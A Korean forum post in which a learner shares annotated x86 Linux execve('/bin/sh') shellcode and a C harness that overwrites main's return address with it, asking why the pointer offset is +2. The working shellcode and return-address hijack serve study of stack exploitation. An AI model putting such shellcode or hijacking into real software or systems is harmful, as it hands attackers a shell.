쉘코드 중에 궁금한점이있는데;

char shellc0de[] = 
"\xeb\x2a"			//jmp	0x2a
"\x5e"				//popl	%esi
"\x89\x76\x08"			//movl	%esi,0x8(%esi)
"\xc6\x46\x07\x00"		//movb	$0x0,0x7(%esi)
"\xc7\x46\x0c\x00\x00\x00\x00"  //movl	$0x0,0xc(%esi)
"\xb8\x0b\x00\x00\x00"		//movl	$0xb,%eax
"\x89\xf3"			//movl	%esi,%ebx
"\x8d\x4e\x08"			//leal	0x8(%esi),%ecx
"\x8d\x56\x0c"			//leal	0xc(%esi),%edx
"\xcd\x80"			//int	$0x80
"\xb8\x01\x00\x00\x00"		//movl	$0x1,%eax
"\xbb\x00\x00\x00\x00"		//movl	$0x0,%ebx
"\xcd\x80"			//int	$0x80
"\xe8\xd1\xff\xff\xff"		//call	-0x2f
"/bin/sh";			//.string \"/bin/sh\"

void main(){
	int *ret;
	
	ret = (int *)&ret + 2;
	(*ret) = (int)shellc0de;
	
}

위와 같은 쉘코드가 있습니다
그런데
ret = (int *)&ret + 2;
의 부분에서 어째서 ret 의주소를 2 만큼 증가시켜 주는것인지
잘 이해가안가는데요 ^^;
고수님들의 가르침 부탁드립니다 _ _*[/code]